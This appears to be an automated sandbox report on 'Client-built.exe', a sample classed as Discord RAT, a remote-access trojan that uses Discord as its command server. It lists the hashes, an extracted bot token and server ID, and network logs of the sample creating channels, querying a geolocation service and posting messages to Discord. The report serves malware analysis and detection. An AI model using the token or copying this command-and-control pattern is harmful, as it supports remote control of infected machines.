Analysis
-
max time kernel
93s -
max time network
133s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
06-10-2024 13:04
Behavioral task
behavioral1
Sample
Client-built.exe
Resource
win7-20240903-en
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
Client-built.exe
Resource
win10v2004-20240802-en
3 signatures
150 seconds
General
-
Target
Client-built.exe
-
Size
78KB
-
MD5
08a5f1b89e6944163b9ec83d08b55d7e
-
SHA1
1741611da7edf548b0b75714d43eb9d3548e14df
-
SHA256
9bc8769d0dd47237653ef3320afb136df186dc6c0782f86ab1c3d2af20b9202e
-
SHA512
b7b5beabc56bb674af46633125ea558c6f440cb94dc59ce440345193fa37076c26633996ceba9f7db0cf7a81f93928003934ea798338890570585dab088e4dc7
-
SSDEEP
1536:52WjO8XeEXFh5P7v88wbjNrfxCXhRoKV6+V+6PIC:5Zv5PDwbjNrmAE+mIC
Score
10/10
Malware Config
Extracted
Family
discordrat
Attributes
-
discord_token
MTI5MjQ3MDY0NTIyOTA5NzAwMA.GNERIx.GW0rdAd6D_xAs0J8UsqQVnTwz9YQuxERLzA87s
-
server_id
1292471074809839676
Signatures
-
Discord RAT
A RAT written in C# using Discord as a C2.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 7 discord.com 8 discord.com 20 discord.com -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1308 Client-built.exe
Processes
Network
-
Remote address:8.8.8.8:53Requestgateway.discord.ggIN AResponsegateway.discord.ggIN A162.159.136.234gateway.discord.ggIN A162.159.130.234gateway.discord.ggIN A162.159.133.234gateway.discord.ggIN A162.159.135.234gateway.discord.ggIN A162.159.134.234
-
Remote address:162.159.136.234:443RequestGET /?v=9&encording=json HTTP/1.1
Connection: Upgrade,Keep-Alive
Upgrade: websocket
Sec-WebSocket-Key: svREKZaEiziYF5uYBGf86Q==
Sec-WebSocket-Version: 13
Host: gateway.discord.gg
ResponseHTTP/1.1 101 Switching Protocols
Connection: upgrade
sec-websocket-accept: zAqE9vhp4a4DO2pIdA1oANkJ5Zw=
upgrade: websocket
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y9oCW%2FZNeM2TAQZ%2BHypOv9m%2B7dMWhmUKsulY8PApk2w5UKpmzrevv4BJu0j%2FJpSqNHmoc24ntsujl6ayzLLXWWtIOWHpjZTyzsYc6zVMx74t8TlWQzzHB4b%2FwKFSnrFEyl1vPA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Server: cloudflare
CF-RAY: 8ce5dbf3d9dd88aa-LHR
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.137.232discord.comIN A162.159.136.232discord.comIN A162.159.138.232discord.comIN A162.159.135.232discord.comIN A162.159.128.233
-
Remote address:162.159.137.232:443RequestPOST /api/v9/guilds/1292471074809839676/channels HTTP/1.1
authorization: Bot MTI5MjQ3MDY0NTIyOTA5NzAwMA.GNERIx.GW0rdAd6D_xAs0J8UsqQVnTwz9YQuxERLzA87s
Content-Type: application/json; charset=utf-8
Host: discord.com
Content-Length: 29
Expect: 100-continue
Connection: Keep-Alive
ResponseHTTP/1.1 201 Created
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: __dcfduid=90731d1883e311ef82781a781847b925; Expires=Fri, 05-Oct-2029 13:04:47 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-ratelimit-bucket: be56019ae011689ff5baf218062aacf5
x-ratelimit-limit: 2000
x-ratelimit-remaining: 1999
x-ratelimit-reset: 1728306287.528
x-ratelimit-reset-after: 86400.000
vary: Accept-Encoding
via: 1.1 google
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KmK%2FO%2Fi6hCkvtiCx0rG3QkIashOk0tp2NPJsBqgKWdaEHmokpSXqe%2B1IRvjAGp8WldIquSCZ79XtanqYSQjdMz%2FA07PY2iMv6FBPpssZV3T6DCktfVR%2Fkwl5ylBw"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
Set-Cookie: __sdcfduid=90731d1883e311ef82781a781847b925fcb4e78bf3ce46aea41f39bfff4954123339c8c340473a1ac0f1f7deb5b1700f; Expires=Fri, 05-Oct-2029 13:04:47 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
Set-Cookie: __cfruid=a85ad4dbffda394eccbf7c8fec258daa6e2c80b7-1728219887; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Set-Cookie: _cfuvid=zWFituPBbr0ZHfaZhSW1WFrVChVxIdOSUAZ1YtKlY3E-1728219887661-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
CF-RAY: 8ce5dbf86d33d1fe-LHR
-
Remote address:8.8.8.8:53Request149.220.183.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request234.136.159.162.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request88.210.23.2.in-addr.arpaIN PTRResponse88.210.23.2.in-addr.arpaIN PTRa2-23-210-88deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Requestgeolocation-db.comIN AResponsegeolocation-db.comIN A159.89.102.253
-
Remote address:159.89.102.253:443RequestGET /json HTTP/1.1
Host: geolocation-db.com
Connection: Keep-Alive
ResponseHTTP/1.1 301 Moved Permanently
Date: Sun, 06 Oct 2024 13:04:47 GMT
Content-Type: text/html
Content-Length: 194
Location: https://geolocation-db.com/json/
Connection: keep-alive
-
Remote address:159.89.102.253:443RequestGET /json/ HTTP/1.1
Host: geolocation-db.com
ResponseHTTP/1.1 200 OK
Date: Sun, 06 Oct 2024 13:04:47 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access-Control-Allow-Origin: *
-
Remote address:162.159.137.232:443RequestPOST /api/v9/channels/1292472628216336495/messages HTTP/1.1
authorization: Bot MTI5MjQ3MDY0NTIyOTA5NzAwMA.GNERIx.GW0rdAd6D_xAs0J8UsqQVnTwz9YQuxERLzA87s
Content-Type: application/json; charset=utf-8
Host: discord.com
Content-Length: 115
Expect: 100-continue
ResponseHTTP/1.1 200 OK
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: __dcfduid=90c42ff083e311efb4accad5bd9ed640; Expires=Fri, 05-Oct-2029 13:04:48 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
x-ratelimit-limit: 5
x-ratelimit-remaining: 4
x-ratelimit-reset: 1728219889.087
x-ratelimit-reset-after: 1.000
vary: Accept-Encoding
via: 1.1 google
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FKhTo4QOxycZEMbi%2FBLN6HtVcgh6ZIjYsRN6U0PkPmEdRvIxrH7yw2RrsJMKhp7cX6RLlNciJ6G8Klv9oPyJVzV6ub7iCaTQuNU4Uo274YEI99UjIWMwGe%2FS1250"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
Set-Cookie: __sdcfduid=90c42ff083e311efb4accad5bd9ed64082ef550100546cafafa5cb9600df5e58ae35aaabfacdac4557e4560ce73cfc77; Expires=Fri, 05-Oct-2029 13:04:48 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
Set-Cookie: __cfruid=4ade112ed19bd5b56c37f655bfcc8297acc6a68b-1728219888; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Set-Cookie: _cfuvid=_259bgQOvuU71XmZ9gpiFIGXmI.lrZbwuowvgVLQL0Q-1728219888184-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
CF-RAY: 8ce5dbfbed3b640c-LHR
-
Remote address:8.8.8.8:53Request232.137.159.162.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request22.160.190.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request253.102.89.159.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request209.205.72.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request53.210.109.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request206.23.85.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request172.214.232.199.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request14.227.111.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request83.210.23.2.in-addr.arpaIN PTRResponse83.210.23.2.in-addr.arpaIN PTRa2-23-210-83deploystaticakamaitechnologiescom
-
1.9kB 12.4kB 22 27
HTTP Request
GET https://gateway.discord.gg/?v=9&encording=jsonHTTP Response
101 -
162.159.137.232:443https://discord.com/api/v9/guilds/1292471074809839676/channelstls, httpClient-built.exe1.1kB 5.5kB 10 12
HTTP Request
POST https://discord.com/api/v9/guilds/1292471074809839676/channelsHTTP Response
201 -
894 B 4.5kB 10 10
HTTP Request
GET https://geolocation-db.com/jsonHTTP Response
301HTTP Request
GET https://geolocation-db.com/json/HTTP Response
200 -
162.159.137.232:443https://discord.com/api/v9/channels/1292472628216336495/messagestls, httpClient-built.exe1.3kB 2.9kB 9 10
HTTP Request
POST https://discord.com/api/v9/channels/1292472628216336495/messagesHTTP Response
200 -
322 B 7
-
64 B 144 B 1 1
DNS Request
gateway.discord.gg
DNS Response
162.159.136.234162.159.130.234162.159.133.234162.159.135.234162.159.134.234
-
57 B 137 B 1 1
DNS Request
discord.com
DNS Response
162.159.137.232162.159.136.232162.159.138.232162.159.135.232162.159.128.233
-
73 B 147 B 1 1
DNS Request
149.220.183.52.in-addr.arpa
-
74 B 136 B 1 1
DNS Request
234.136.159.162.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
88.210.23.2.in-addr.arpa
-
64 B 80 B 1 1
DNS Request
geolocation-db.com
DNS Response
159.89.102.253
-
74 B 136 B 1 1
DNS Request
232.137.159.162.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
22.160.190.20.in-addr.arpa
-
73 B 140 B 1 1
DNS Request
253.102.89.159.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
209.205.72.20.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
53.210.109.20.in-addr.arpa
-
71 B 145 B 1 1
DNS Request
206.23.85.13.in-addr.arpa
-
74 B 128 B 1 1
DNS Request
172.214.232.199.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
83.210.23.2.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
14.227.111.52.in-addr.arpa